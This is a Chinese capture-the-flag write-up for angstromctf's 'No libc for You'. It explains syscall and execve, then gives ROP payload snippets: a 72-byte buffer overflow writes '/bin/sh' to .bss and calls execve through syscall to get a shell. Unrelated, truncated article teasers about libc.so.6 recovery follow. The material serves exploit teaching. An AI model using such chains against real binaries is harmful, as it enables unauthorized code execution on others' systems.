angstromctf -No libc for You

0x00 syscall

syscall函数原型为:
int syscall(int number, ...)
其中number是系统调用号,number后面应顺序接上该系统调用的所有参数.大概意思是当调用syscall函数时,系统会去syscall调用表中寻找对应的系统函数,再把相应的参数赋给要调用的函数,然后执行该函数。

例如:调用read函数syscall(0,0,buf,8)
- 0 是系统函数read的调用号,相当于执行read(0,buf,8)

详细说明:

Linux系统调用(syscall)原理

linux 系统调用

0x01 execve

execve函数原型
int execve(const char * filename,char * const argv[ ],char * const envp[ ])
execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。

例如:执行/bin/sh
execve("/bin/sh",0,0)

详细说明:

execve的使用方法

0x02 No libc for You

1.思路

先将/bin/sh写入bss,再通过syscall调用execve(‘/bin/sh‘)获得shell

2.写/bin/sh到bss

#write_bss
    payload = "A" * 72
    payload += p64(pop_rdi) + p64(bss_addr)
    payload += p64(gets_addr)
    payload += p64(vuln_addr)
    s.sendline(payload)
    s.sendline("/bin/sh\0")

3.调用execve(‘/bin/sh‘)

# get_shell
    payload = "A" * 72
    payload += p64(rax_rdx_rbx_ret) + p64(0x3b) + p64(0) + p64(0)
    payload += p64(rsi_ret) + p64(0)
    payload += p64(pop_rdi) + p64(bss_addr)
    payload += p64(syscall)
    s.sendline(payload)

  

时间: 2024-08-17 20:18:24

angstromctf -No libc for You的相关文章

Linux误删C基本运行库libc.so.6急救方法

首先普及一下关于libc.so.6的基本常识: libc.so.6是glibc的软链接 ll  /lib64/libc.so.6lrwxrwxrwx 1 root root 11 Aug 27 2014 /lib64/libc.so.6 -> libc-2.5.so glibc是gnu发布的libc库,即c运行库.glibc是linux系统中最底层的api,几乎其它任何运行库都会依赖于glibc,所以说绝大部分操作命令都缺少不了它 如何误删了/lib64/libc.so.6,大部分系统命令将无法

解决libc.so.6(GLIBC_2.14)(64bit)等之类的没有问题

http://rpm.pbone.net/index.php3/stat/3/limit/2/srodzaj/1/dl/40/search/libc.so.6%28GLIBC_2.14%29%2864bit%29/field[]/1/field[] 登录然后找找就行了,rpm全自动. 解决libc.so.6(GLIBC_2.14)(64bit)等之类的没有问题,布布扣,bubuko.com

Cent OS 7编译安装libc++和libc++abi

本文介绍了如何在CentOS 7中构建C++11构建环境 Clang的定制C++库是libc++(libcxx).然后,libcxx还需要一个ABI库,libc++abi(libcxxabi).不幸的是,这两个库有一个循环依赖问题.为了打破循环依赖问题,可以在不连接libc++abi的情况下构建libc++.然后,使用这个libc++,我们可以构建libc++abi链接到libc++.最后,使用libc++abi,我们可以构建一个新的libc++链接到libc++abi. cmake和clang

解决"libc.so.6: version `GLIBC_2.14' not found",系统的glibc版本太低

一.查看系统glibc支持的版本: strings /lib64/libc.so.6 |grep GLIBC_ 或 rpm -qa |grep glibc 二.下载 到http://www.gnu.org/software/libc/下载最新版本,我这里下载了glibc-2.14.tar.xz 这个版本 http://ftp.gnu.org/gnu/glibc/ 三.解压 这里解压到/var/VMdisks/glibc-2.14/ cd /var/VMdisks/glibc-2.14/ 在gli

误删除libc.so.6的解决方法

glibc是GNU发布的libc库,即c运行库.glibc是linux系统中最底层的api,几乎其它任何运行库都会依赖于glibc.glibc除了封装linux操作系统所提供的系统服务外,它本身也提供了许多其它一些必要功能服务的实现.由于 glibc 囊括了几乎所有的 UNIX 通行的标准,可以想见其内容包罗万象.而就像其他的 UNIX 系统一样,其内含的档案群分散于系统的树状目录结构中,像一个支架一般撑起整个作业系统.在 GNU/Linux 系统中,其C函式库发展史点出了GNU/Linux 演

libc.so.6 误删后修复

libc.so.6 被删除了(libc.so.6只是个链接,真实的lib 文件是 libc-2.15.so) su, sudo,ls, cp, mv 等等一系列命令都不能在使用 以下是几种修复措施: 在没有重启电脑的情况下,可以使用以下两种方式.前提是你目前在root 权限下1. (实验可行)#cd /lib/i386-linux-gnu#LD_PRELOAD=/lib/i386-linux-gnu/libc-2.15.so ln -sf /lib/i386-linux-gnu/libc-2.1

IOS Exception 1(libc++abi.dylib: terminating with uncaught exception of type NSException)

2014-08-05 22:18:46.455 SwiftUI[1329:40871] -[_TtC7SwiftUI14MViewControler clickMe]: unrecognized selector sent to instance 0x10ea15dc0 2014-08-05 22:18:46.458 SwiftUI[1329:40871] *** Terminating app due to uncaught exception 'NSInvalidArgumentExcept

CentOS中误删除libc.so.6系统库文件,如何恢复?

在做实验的过程中,对于一些系统关键的库,要小心使用,稍不留神就会造成系统的瘫痪,比如小编在做实验的时候不小心将/lib64/libc.so.6这个系统共享库给不小心删除了,可能刚开始不知道这个库的重要性,结果下一秒就后悔了,因为系统大部分的命令都不能正常使用了,会显示一个:error while loading shared libraries: libc.so.6:cannot open shared object file: No such file or directory. 提示当加载共

解决"libc.so.6: version `GLIBC_2.14' not found"问题

试图运行程序,提示"libc.so.6: version `GLIBC_2.14' not found",原因是系统的glibc版本太低,软件编译时使用了较高版本的glibc引起的:问题Centos 自动更新glibc-2.14 2.查看系统glibc支持的版本: strings /lib64/libc.so.6 |grep GLIBC_ rpm -qa |grep glibc ------------------------------- 可以看到最高只支持2.12版本,所以考虑编译